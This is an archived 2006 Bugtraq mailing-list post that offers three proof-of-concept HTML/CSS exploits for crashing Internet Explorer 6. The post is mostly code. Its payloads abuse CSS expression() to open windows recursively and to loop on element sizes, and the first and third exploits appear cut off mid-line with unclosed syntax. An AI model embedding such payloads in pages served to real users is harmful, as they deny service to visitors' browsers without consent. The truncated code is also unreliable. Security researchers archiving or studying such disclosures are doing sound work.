

# Internet Explorer 6. CSS Expression Denial of Service (P.o.C.)

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2006-12/msg00107.html>

---

- *From:* José Carlos Nieto Jarquín <[xiam.core@xxxxxxxxx](mailto:xiam.core@xxxxxxxxx)>
  - *Date:* Wed, 06 Dec 2006 00:30:39 -0600
- 

This is just another couple of exploits for this well-known browser. The third one is a lame combination of both.

Tested under Windows XP SP2, MSIE 6.0.2900.2180

--- Exploit 1 ---

```
<div id="foo" style="height: 20px; border: 1px solid blue">
<table style="border: 1px solid red; width: expression(document.getElementById
<tr><td></td></tr>
</table>
</div>
--- end ---
```

--- Exploit 2 ---

```
<div style="width: expression(window.open(self.location));">
&nbsp;
</div>
--- end ---
```

--- Exploit 3 (combined) ---

```
<html>
<head>
<title>Another non-standards compliant IE D.o.S. </title>
</head>
<body>
<div id="foo" style="height: 20px; border: 1px solid blue">
<table style="border: 1px solid red; width:
expression(parseInt(window.open(self.location))+document.getElementById
<tr>
<td>
IE makes my life harder :-(. It sucks, don't use it :-).
</td>
</tr>
</table>
</div>
Proof of Concept written by <a href="http://xiam.be">xiam</a>.<br />
Tested under Windows XP SP2, MSIE 6.0.2900.2180
</body>
```

</html>

==

==

La civilizaci~n no suprime la barbarie, la perfecciona. – Voltaire  
– J. Carlos Nieto (xiam). <http://xiam.be>